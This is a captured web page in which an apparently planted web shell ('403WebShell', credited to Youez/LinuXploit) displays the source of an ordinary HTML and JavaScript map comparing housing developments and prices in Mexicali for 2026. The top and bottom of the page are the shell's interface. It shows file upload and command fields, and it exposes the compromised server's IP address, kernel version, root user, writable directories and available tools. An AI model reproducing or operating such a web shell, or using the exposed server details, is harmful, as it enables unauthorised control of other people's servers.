Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.216.135
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/cayo.mx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/cayo.mx/mapaviviendamexicali.html
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Mapa de vivienda — Mexicali B.C.</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; background: #f5f4f1; color: #222; }

/* LAYOUT */
.app { display: flex; height: 100vh; overflow: hidden; }
.sidebar { width: 320px; flex-shrink: 0; background: #fff; border-right: 0.5px solid #ddd; display: flex; flex-direction: column; overflow: hidden; }
.main { flex: 1; position: relative; }

/* SIDEBAR HEADER */
.s-header { padding: 16px 16px 12px; border-bottom: 0.5px solid #eee; }
.s-header h1 { font-size: 15px; font-weight: 500; margin-bottom: 2px; }
.s-header p { font-size: 11px; color: #888; }

/* TABS */
.tabs { display: flex; border-bottom: 0.5px solid #eee; }
.tab { flex: 1; padding: 9px 0; font-size: 12px; text-align: center; cursor: pointer; color: #888; border-bottom: 2px solid transparent; transition: all 0.15s; }
.tab.active { color: #185fa5; border-bottom-color: #185fa5; font-weight: 500; }

/* FILTER PANEL */
.panel { flex: 1; overflow-y: auto; padding: 12px 14px; }
.sec-title { font-size: 10px; font-weight: 500; color: #aaa; text-transform: uppercase; letter-spacing: 0.06em; margin: 14px 0 8px; }
.sec-title:first-child { margin-top: 0; }

/* MODE BUTTONS */
.mode-btns { display: flex; gap: 6px; }
.mode-btn { flex: 1; font-size: 11px; padding: 6px 0; cursor: pointer; border-radius: 6px; border: 0.5px solid #ccc; background: transparent; color: #666; transition: all 0.15s; text-align: center; }
.mode-btn.active { background: #e6f1fb; color: #185fa5; border-color: #b3d4f5; font-weight: 500; }

/* FILTER TOGGLES */
.filter-group { display: flex; flex-wrap: wrap; gap: 5px; margin-bottom: 4px; }
.filter-chip { font-size: 11px; padding: 4px 10px; border-radius: 20px; border: 0.5px solid #ddd; cursor: pointer; color: #555; background: #fafafa; transition: all 0.15s; display: flex; align-items: center; gap: 5px; }
.filter-chip .dot { width: 8px; height: 8px; border-radius: 50%; flex-shrink: 0; }
.filter-chip.active { font-weight: 500; }
.filter-chip.active.hosp { background: #fde8e8; border-color: #e05c5c; color: #b32020; }
.filter-chip.active.plaza { background: #e8f3fd; border-color: #378add; color: #185fa5; }
.filter-chip.active.ind { background: #fff3e0; border-color: #e0901a; color: #9a5a00; }
.filter-chip.active.univ { background: #e8f8ef; border-color: #27a85a; color: #145c2e; }
.filter-chip.active.dev { background: #f3eafd; border-color: #9b6fd4; color: #5c2ea0; }

/* LEGEND */
.legend-row { display: flex; align-items: center; gap: 8px; font-size: 11px; color: #555; margin-bottom: 5px; }
.legend-sym { width: 16px; height: 16px; border-radius: 50%; flex-shrink: 0; display: flex; align-items: center; justify-content: center; font-size: 9px; }

/* COMPARE PANEL */
.compare-panel { flex: 1; overflow-y: auto; padding: 12px 14px; display: none; }
.compare-slot { border: 1.5px dashed #ddd; border-radius: 8px; padding: 10px; margin-bottom: 10px; min-height: 60px; font-size: 12px; color: #aaa; cursor: pointer; transition: border-color 0.15s; }
.compare-slot.filled { border-style: solid; border-color: #9b6fd4; color: #222; cursor: default; }
.compare-slot .slot-name { font-weight: 500; color: #222; font-size: 13px; margin-bottom: 4px; }
.compare-slot .slot-sub { font-size: 11px; color: #888; }
.compare-table { width: 100%; border-collapse: collapse; font-size: 11px; margin-top: 10px; }
.compare-table th { background: #f5f4f1; padding: 6px 8px; text-align: left; font-weight: 500; color: #555; border-bottom: 0.5px solid #eee; }
.compare-table td { padding: 6px 8px; border-bottom: 0.5px solid #eee; color: #333; vertical-align: top; }
.compare-table tr:last-child td { border-bottom: none; }
.compare-table .hl { color: #185fa5; font-weight: 500; }
.compare-table .hl2 { color: #9b6fd4; font-weight: 500; }
.win { color: #27a85a !important; font-weight: 500; }
.lose { color: #e05c5c !important; }
.clear-btn { font-size: 11px; color: #e05c5c; cursor: pointer; text-decoration: underline; margin-top: 6px; display: inline-block; }

/* CANVAS */
canvas { display: block; width: 100%; height: 100%; }

/* TOOLTIP */
.tooltip { position: absolute; background: #fff; border: 0.5px solid #ccc; border-radius: 10px; padding: 10px 14px; font-size: 12px; pointer-events: none; opacity: 0; transition: opacity 0.15s; z-index: 20; min-width: 180px; max-width: 220px; box-shadow: 0 4px 16px rgba(0,0,0,0.1); }
.tooltip.show { opacity: 1; }
.tt-title { font-weight: 500; font-size: 13px; color: #111; margin-bottom: 5px; line-height: 1.3; }
.tt-row { color: #666; margin-bottom: 2px; font-size: 11px; }
.tt-row b { color: #222; }
.tt-badge { display: inline-block; font-size: 10px; padding: 2px 8px; border-radius: 4px; color: #fff; margin-top: 5px; }
.tt-hint { font-size: 10px; color: #aaa; margin-top: 5px; font-style: italic; }

/* STATUS BAR */
.statusbar { position: absolute; bottom: 12px; left: 12px; background: rgba(255,255,255,0.92); border: 0.5px solid #ddd; border-radius: 8px; padding: 6px 12px; font-size: 11px; color: #666; backdrop-filter: blur(4px); }

@media (max-width: 680px) {
  .app { flex-direction: column; }
  .sidebar { width: 100%; height: auto; border-right: none; border-bottom: 0.5px solid #ddd; }
  .main { flex: 1; min-height: 380px; }
}
</style>
</head>
<body>
<div class="app">

<!-- SIDEBAR -->
<div class="sidebar">
  <div class="s-header">
    <h1>Vivienda Mexicali B.C. 2026</h1>
    <p>Desarrollos · Nodos · Comparador</p>
  </div>

  <div class="tabs">
    <div class="tab active" id="tab-filtros" onclick="switchTab('filtros')">Filtros</div>
    <div class="tab" id="tab-comparar" onclick="switchTab('comparar')">Comparar <span id="compare-count" style="background:#9b6fd4;color:#fff;border-radius:10px;padding:1px 6px;font-size:10px;display:none;">0</span></div>
  </div>

  <!-- FILTER PANEL -->
  <div class="panel" id="panel-filtros">

    <p class="sec-title">Vista del mapa</p>
    <div class="mode-btns">
      <div class="mode-btn active" id="btn-bubble" onclick="setMode('bubble')">Burbujas precio</div>
      <div class="mode-btn" id="btn-cluster" onclick="setMode('cluster')">Segmento</div>
    </div>

    <p class="sec-title">Desarrollos</p>
    <div class="filter-group" id="dev-filters"></div>

    <p class="sec-title">Leyenda</p>
    <div style="margin-top:0;">
      <div class="legend-row"><span style="width:16px;height:16px;border-radius:50%;background:#EAF3DE;border:1.5px solid #639922;flex-shrink:0;display:inline-block;"></span>Accesible &lt;$1.5M</div>
      <div class="legend-row"><span style="width:16px;height:16px;border-radius:50%;background:#E6F1FB;border:1.5px solid #378add;flex-shrink:0;display:inline-block;"></span>Medio $1.5M–$2.2M</div>
      <div class="legend-row"><span style="width:16px;height:16px;border-radius:50%;background:#FAEEDA;border:2.5px solid #BA7517;flex-shrink:0;display:inline-block;"></span>Medio-alto $2.2M–$3M</div>
      <div class="legend-row"><span style="width:16px;height:16px;border-radius:50%;background:#FAECE7;border:1.5px solid #D85A30;flex-shrink:0;display:inline-block;"></span>Premium $3M+</div>
    </div>

    <p class="sec-title" style="margin-top:14px;">Instrucciones</p>
    <p style="font-size:11px;color:#aaa;line-height:1.6;">• Haz clic en un <b style="color:#9b6fd4;">desarrollo</b> para seleccionarlo y comparar<br>• Usa la pestaña <b style="color:#555;">Comparar</b> para ver métricas lado a lado<br>• Pasa el cursor sobre cualquier punto para ver detalles</p>
  </div>

  <!-- COMPARE PANEL -->
  <div class="compare-panel" id="panel-comparar">
    <p class="sec-title" style="margin-top:0;">Selecciona dos desarrollos en el mapa</p>

    <div class="compare-slot" id="slot-a" onclick="clearSlot('a')">
      <div style="text-align:center;padding:10px 0;">Haz clic en un desarrollo</div>
    </div>
    <div style="text-align:center;font-size:18px;color:#ccc;margin:4px 0;">⇄</div>
    <div class="compare-slot" id="slot-b" onclick="clearSlot('b')">
      <div style="text-align:center;padding:10px 0;">Haz clic en otro desarrollo</div>
    </div>

    <div id="compare-result"></div>
  </div>
</div>

<!-- MAP -->
<div class="main">
  <canvas id="mapCanvas"></canvas>
  <div class="tooltip" id="tooltip"></div>
  <div class="statusbar" id="statusbar">Mexicali B.C. · 1er Bimestre 2026</div>
</div>

</div>

<script>
// ─── DATA ───────────────────────────────────────────────
const segments = [
  { label:'Accesible',  range:'<$1.5M',      min:0,       max:1500000,  color:'#639922', bg:'#EAF3DE' },
  { label:'Medio',      range:'$1.5M–$2.2M', min:1500000, max:2200000,  color:'#378ADD', bg:'#E6F1FB' },
  { label:'Medio-alto', range:'$2.2M–$3M',   min:2200000, max:3000000,  color:'#BA7517', bg:'#FAEEDA' },
  { label:'Premium',    range:'$3M+',        min:3000000, max:Infinity, color:'#D85A30', bg:'#FAECE7' },
];

const devs = [
  { id:'aria',   name:'ARIA',        des:'Coto Sur',           lat:32.5863, lng:-115.4250, avgP:2433250, models:4, minP:1898000, maxP:2905000, recs:'2–3', cpm:20750, terrenoMin:126,  terrenoMax:126,  constMin:64.66, constMax:120.42 },
  { id:'cadena1',name:'CADENA',      des:'Huertas Colorado',   lat:32.5635, lng:-115.4111, avgP:1182500, models:2, minP:1150000, maxP:1215000, recs:'2',   cpm:18869, terrenoMin:120,  terrenoMax:120,  constMin:38,    constMax:63 },
  { id:'cadena2',name:'CADENA',      des:'Valle Oriente',      lat:32.5718, lng:-115.3613, avgP:1200000, models:2, minP:1150000, maxP:1250000, recs:'2',   cpm:19048, terrenoMin:120,  terrenoMax:120,  constMin:61,    constMax:63 },
  { id:'eco',    name:'ECOHOGARES',  des:'Lussela',            lat:32.5712, lng:-115.4706, avgP:2145000, models:2, minP:1800000, maxP:2490000, recs:'2',   cpm:23956, terrenoMin:160,  terrenoMax:160,  constMin:65.54, constMax:94.5 },
  { id:'exe',    name:'EXE',         des:'El Marqués',         lat:32.5844, lng:-115.3437, avgP:1910422, models:5, minP:1643045, maxP:2247393, recs:'2–3', cpm:23416, terrenoMin:138,  terrenoMax:138,  constMin:58.32, constMax:91.06 },
  { id:'foresta',name:'FORESTA',     des:'Gran Foresta',       lat:32.5633, lng:-115.4345, avgP:4243250, models:4, minP:3700000, maxP:4953000, recs:'2–3', cpm:27882, terrenoMin:231,  terrenoMax:266,  constMin:118,   constMax:173 },
  { id:'hogme',  name:'GRUPO HOGME', des:'Laguna Residencial', lat:32.5941, lng:-115.4583, avgP:2170000, models:3, minP:1830000, maxP:2530000, recs:'2–3', cpm:24832, terrenoMin:120,  terrenoMax:120,  constMin:60.84, constMax:94.65 },
  { id:'idu',    name:'IDU',         des:'San Andrés',         lat:32.5777, lng:-115.4248, avgP:2450000, models:4, minP:1900000, maxP:2850000, recs:'2–3', cpm:26017, terrenoMin:130.41,terrenoMax:189.94,constMin:67.21, constMax:96.96 },
  { id:'ruba',   name:'RUBA',        des:'Real Campestre',     lat:32.5804, lng:-115.4260, avgP:2802000, models:1, minP:2802000, maxP:2802000, recs:'3',   cpm:25706, terrenoMin:133,  terrenoMax:133,  constMin:109,   constMax:109 },
];

// ─── STATE ───────────────────────────────────────────────
let mode = 'bubble';
let visibleDevs = new Set(devs.map(d=>d.id));
let compareA = null, compareB = null;
let activeTab = 'filtros';

// ─── MAP SETUP ───────────────────────────────────────────
const minLat=32.550, maxLat=32.615, minLng=-115.500, maxLng=-115.330;
const PAD=36;
let W, H;
const canvas = document.getElementById('mapCanvas');
const ctx = canvas.getContext('2d');
const tooltip = document.getElementById('tooltip');

function getSeg(p) { return segments.find(s => p >= s.min && p < s.max); }

function project(lat, lng) {
  const x = PAD + (lng - minLng)/(maxLng - minLng)*(W - PAD*2);
  const y = PAD + (1-(lat - minLat)/(maxLat - minLat))*(H - PAD*2);
  return {x, y};
}

const maxAvg = Math.max(...devs.map(d=>d.avgP));
const minAvg = Math.min(...devs.map(d=>d.avgP));
function bubbleR(p){ return 18 + (p-minAvg)/(maxAvg-minAvg)*28; }

function resize(){
  const rect = canvas.parentElement.getBoundingClientRect();
  W = rect.width * devicePixelRatio; H = rect.height * devicePixelRatio;
  canvas.width = W; canvas.height = H;
  ctx.scale(devicePixelRatio, devicePixelRatio);
  W = rect.width; H = rect.height;
  draw();
}

function draw(){
  ctx.clearRect(0,0,W,H);
  ctx.fillStyle='#f0efe9'; ctx.fillRect(0,0,W,H);

  // Grid
  ctx.strokeStyle='rgba(0,0,0,0.04)'; ctx.lineWidth=0.5;
  for(let i=0;i<=6;i++){
    const x=PAD+i*(W-PAD*2)/6; ctx.beginPath();ctx.moveTo(x,PAD);ctx.lineTo(x,H-PAD);ctx.stroke();
    const y=PAD+i*(H-PAD*2)/6; ctx.beginPath();ctx.moveTo(PAD,y);ctx.lineTo(W-PAD,y);ctx.stroke();
  }

  // Cardinal labels
  ctx.fillStyle='rgba(0,0,0,0.18)'; ctx.font='10px sans-serif';
  ctx.textAlign='center'; ctx.fillText('NORTE',W/2,14);
  ctx.textAlign='left';   ctx.fillText('← O',PAD,H-8);
  ctx.textAlign='right';  ctx.fillText('E →',W-PAD,H-8);

  // Devs
  devs.forEach(d => {
    if(!visibleDevs.has(d.id)) return;
    const {x,y} = project(d.lat, d.lng);
    const r = mode==='bubble' ? bubbleR(d.avgP) : 22;
    const seg = getSeg(d.avgP);
    const isIDU = d.id==='idu';
    const isSelA = compareA && compareA.id===d.id;
    const isSelB = compareB && compareB.id===d.id;

    // Shadow
    ctx.beginPath(); ctx.arc(x,y+2,r,0,Math.PI*2);
    ctx.fillStyle='rgba(0,0,0,0.06)'; ctx.fill();

    // Fill
    ctx.beginPath(); ctx.arc(x,y,r,0,Math.PI*2);
    ctx.fillStyle = seg.bg+'f0'; ctx.fill();

    // Stroke
    ctx.strokeStyle = isSelA ? '#9b6fd4' : isSelB ? '#6fd4b3' : isIDU ? '#BA7517' : seg.color;
    ctx.lineWidth = (isSelA||isSelB) ? 3 : isIDU ? 2.5 : 1.5;
    ctx.stroke();

    // Compare indicator
    if(isSelA){ ctx.fillStyle='#9b6fd4'; ctx.font='bold 9px sans-serif'; ctx.textAlign='center'; ctx.textBaseline='middle'; ctx.fillText('A',x,y-r+8); }
    if(isSelB){ ctx.fillStyle='#6fd4b3'; ctx.font='bold 9px sans-serif'; ctx.textAlign='center'; ctx.textBaseline='middle'; ctx.fillText('B',x,y-r+8); }

    // Label
    ctx.fillStyle = '#1a1a1a';
    ctx.font = isIDU ? '500 10px sans-serif' : '10px sans-serif';
    ctx.textAlign='center'; ctx.textBaseline='middle';
    const label = d.name.length>7 ? d.name.substring(0,6)+'.' : d.name;
    ctx.fillText(label, x, y-(mode==='bubble'?3:2));

    if(mode==='bubble'){
      ctx.font='8px sans-serif'; ctx.fillStyle='rgba(0,0,0,0.4)';
      ctx.fillText('$'+(d.avgP/1000000).toFixed(1)+'M', x, y+9);
    }
  });
}

// ─── INTERACTIONS ─────────────────────────────────────────
function getDevAt(mx, my){
  let found = null;
  devs.forEach(d => {
    if(!visibleDevs.has(d.id)) return;
    const {x,y} = project(d.lat, d.lng);
    const r = mode==='bubble' ? bubbleR(d.avgP) : 22;
    if(Math.sqrt((mx-x)**2+(my-y)**2)<r) found=d;
  });
  return found;
}

canvas.addEventListener('mousemove', e => {
  const rect = canvas.getBoundingClientRect();
  const mx = e.clientX-rect.left, my = e.clientY-rect.top;
  const dev = getDevAt(mx, my);

  if(dev){
    const seg = getSeg(dev.avgP);
    const fmt = p => '$'+p.toLocaleString('es-MX');
    const isA = compareA && compareA.id===dev.id;
    const isB = compareB && compareB.id===dev.id;
    tooltip.innerHTML = `
      <div class="tt-title">${dev.name} — ${dev.des}</div>
      <div class="tt-row">Precio promedio: <b>${fmt(dev.avgP)}</b></div>
      <div class="tt-row">Rango: ${fmt(dev.minP)} – ${fmt(dev.maxP)}</div>
      <div class="tt-row">Modelos: <b>${dev.models}</b> · Rec: ${dev.recs}</div>
      <div class="tt-row">Costo/m² const.: <b>$${dev.cpm.toLocaleString('es-MX')}</b></div>
      <div><span class="tt-badge" style="background:${seg.color};">${seg.label} ${seg.range}</span></div>
      <div class="tt-hint">${isA?'✓ Seleccionado A':isB?'✓ Seleccionado B':'Clic para comparar'}</div>
    `;
    canvas.style.cursor='pointer';
    tooltip.className='tooltip show';
  } else {
    canvas.style.cursor='default';
    tooltip.className='tooltip';
  }

  // Position tooltip
  if(dev){
    const tw=220, th=140;
    tooltip.style.left = (mx+14+tw>rect.width ? mx-tw-8 : mx+14)+'px';
    tooltip.style.top  = (my-10+th>rect.height ? my-th-4 : my-10)+'px';
  }
});

canvas.addEventListener('mouseleave', ()=>{ tooltip.className='tooltip'; });

canvas.addEventListener('click', e => {
  const rect = canvas.getBoundingClientRect();
  const mx = e.clientX-rect.left, my = e.clientY-rect.top;
  const dev = getDevAt(mx, my);
  if(!dev) return;

  if(compareA && compareA.id===dev.id){ compareA=null; }
  else if(compareB && compareB.id===dev.id){ compareB=null; }
  else if(!compareA){ compareA=dev; }
  else if(!compareB){ compareB=dev; }
  else { compareA=compareB; compareB=dev; }

  updateComparePanel();
  draw();
});

// ─── COMPARE PANEL ────────────────────────────────────────
function updateComparePanel(){
  const cnt = (compareA?1:0)+(compareB?1:0);
  const cc = document.getElementById('compare-count');
  cc.textContent = cnt; cc.style.display = cnt>0?'inline':'none';

  const slotA = document.getElementById('slot-a');
  const slotB = document.getElementById('slot-b');

  if(compareA){
    slotA.className='compare-slot filled';
    slotA.innerHTML=`<div class="slot-name" style="color:#9b6fd4;">A · ${compareA.name}</div><div class="slot-sub">${compareA.des}</div><div class="slot-sub">$${compareA.avgP.toLocaleString('es-MX')} promedio</div><span class="clear-btn">✕ Quitar</span>`;
  } else {
    slotA.className='compare-slot';
    slotA.innerHTML='<div style="text-align:center;padding:10px 0;color:#bbb;">Haz clic en un desarrollo (A)</div>';
  }

  if(compareB){
    slotB.className='compare-slot filled';
    slotB.style.borderColor='#6fd4b3';
    slotB.innerHTML=`<div class="slot-name" style="color:#2a9a7a;">B · ${compareB.name}</div><div class="slot-sub">${compareB.des}</div><div class="slot-sub">$${compareB.avgP.toLocaleString('es-MX')} promedio</div><span class="clear-btn">✕ Quitar</span>`;
  } else {
    slotB.className='compare-slot';
    slotB.style.borderColor='#ddd';
    slotB.innerHTML='<div style="text-align:center;padding:10px 0;color:#bbb;">Haz clic en otro desarrollo (B)</div>';
  }

  const res = document.getElementById('compare-result');
  if(compareA && compareB){
    const a=compareA, b=compareB;
    const fmt=p=>'$'+p.toLocaleString('es-MX');
    const wA=(va,vb,lower=false)=>{
      if(va===vb) return ['',''];
      const aWins = lower ? va<vb : va>vb;
      return aWins ? ['win','lose'] : ['lose','win'];
    };
    const [p1,p2]=wA(a.avgP,b.avgP,true);
    const [pmin1,pmin2]=wA(a.minP,b.minP,true);
    const [pmax1,pmax2]=wA(a.maxP,b.maxP,true);
    const [c1,c2]=wA(a.cpm,b.cpm,true);
    const [m1,m2]=wA(a.models,b.models);
    const [tmax1,tmax2]=wA(a.terrenoMax,b.terrenoMax);
    const [tmin1,tmin2]=wA(a.terrenoMin,b.terrenoMin);
    const [cmax1,cmax2]=wA(a.constMax,b.constMax);
    const [cmin1,cmin2]=wA(a.constMin,b.constMin);

    const rng=(min,max,unit='m²')=> min===max ? `${min} ${unit}` : `${min}–${max} ${unit}`;

    res.innerHTML=`
      <p class="sec-title" style="margin-top:14px;">Comparativa</p>
      <table class="compare-table">
        <thead><tr><th>Métrica</th><th class="hl">A · ${a.name}</th><th class="hl2">B · ${b.name}</th></tr></thead>
        <tbody>
          <tr><td style="color:#aaa;font-size:10px;padding-top:8px;" colspan="3">PRECIO</td></tr>
          <tr><td>Precio mínimo</td><td class="${pmin1}">${fmt(a.minP)}</td><td class="${pmin2}">${fmt(b.minP)}</td></tr>
          <tr><td>Precio máximo</td><td class="${pmax1}">${fmt(a.maxP)}</td><td class="${pmax2}">${fmt(b.maxP)}</td></tr>
          <tr><td>Precio promedio</td><td class="${p1}">${fmt(a.avgP)}</td><td class="${p2}">${fmt(b.avgP)}</td></tr>
          <tr><td style="color:#aaa;font-size:10px;padding-top:8px;" colspan="3">SUPERFICIE</td></tr>
          <tr><td>Terreno mín.</td><td class="${tmin1}">${a.terrenoMin} m²</td><td class="${tmin2}">${b.terrenoMin} m²</td></tr>
          <tr><td>Terreno máx.</td><td class="${tmax1}">${a.terrenoMax} m²</td><td class="${tmax2}">${b.terrenoMax} m²</td></tr>
          <tr><td>Construcción mín.</td><td class="${cmin1}">${a.constMin} m²</td><td class="${cmin2}">${b.constMin} m²</td></tr>
          <tr><td>Construcción máx.</td><td class="${cmax1}">${a.constMax} m²</td><td class="${cmax2}">${b.constMax} m²</td></tr>
          <tr><td style="color:#aaa;font-size:10px;padding-top:8px;" colspan="3">PRODUCTO</td></tr>
          <tr><td>$/m² construido</td><td class="${c1}">${fmt(a.cpm)}</td><td class="${c2}">${fmt(b.cpm)}</td></tr>
          <tr><td>Modelos</td><td class="${m1}">${a.models}</td><td class="${m2}">${b.models}</td></tr>
          <tr><td>Recámaras</td><td>${a.recs}</td><td>${b.recs}</td></tr>
          <tr><td>Segmento</td><td>${getSeg(a.avgP).label}</td><td>${getSeg(b.avgP).label}</td></tr>
        </tbody>
      </table>
      <p style="font-size:10px;color:#aaa;margin-top:6px;line-height:1.5;"><span style="color:#27a85a;font-weight:500;">Verde</span> = ventaja · <span style="color:#e05c5c;font-weight:500;">Rojo</span> = desventaja</p>
    `;
  } else {
    res.innerHTML='';
  }
}

function clearSlot(s){
  if(s==='a') compareA=null;
  else compareB=null;
  updateComparePanel(); draw();
}

// ─── FILTERS ──────────────────────────────────────────────
// Build dev filter chips
const devFilters = document.getElementById('dev-filters');
const devGroups = {};
devs.forEach(d=>{ if(!devGroups[d.name]) devGroups[d.name]=[]; devGroups[d.name].push(d); });

Object.entries(devGroups).forEach(([name, list])=>{
  const chip = document.createElement('div');
  chip.className='filter-chip active dev';
  chip.innerHTML=`<span class="dot" style="background:#9b6fd4;"></span>${name}`;
  chip.onclick=()=>{
    const allVisible = list.every(d=>visibleDevs.has(d.id));
    list.forEach(d=>{ allVisible ? visibleDevs.delete(d.id) : visibleDevs.add(d.id); });
    chip.className='filter-chip dev'+(list.every(d=>visibleDevs.has(d.id))?' active':'');
    draw();
  };
  devFilters.appendChild(chip);
});

function setMode(m){
  mode=m;
  document.getElementById('btn-bubble').className='mode-btn'+(m==='bubble'?' active':'');
  document.getElementById('btn-cluster').className='mode-btn'+(m==='cluster'?' active':'');
  draw();
}

function switchTab(t){
  activeTab=t;
  document.getElementById('tab-filtros').className='tab'+(t==='filtros'?' active':'');
  document.getElementById('tab-comparar').className='tab'+(t==='comparar'?' active':'');
  document.getElementById('panel-filtros').style.display=t==='filtros'?'block':'none';
  document.getElementById('panel-comparar').style.display=t==='comparar'?'flex':'none';
  document.getElementById('panel-comparar').style.flexDirection='column';
}

// ─── INIT ─────────────────────────────────────────────────
window.addEventListener('resize', ()=>{ canvas.getContext('2d').setTransform(1,0,0,1,0,0); resize(); });
resize();
updateComparePanel();
</script>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit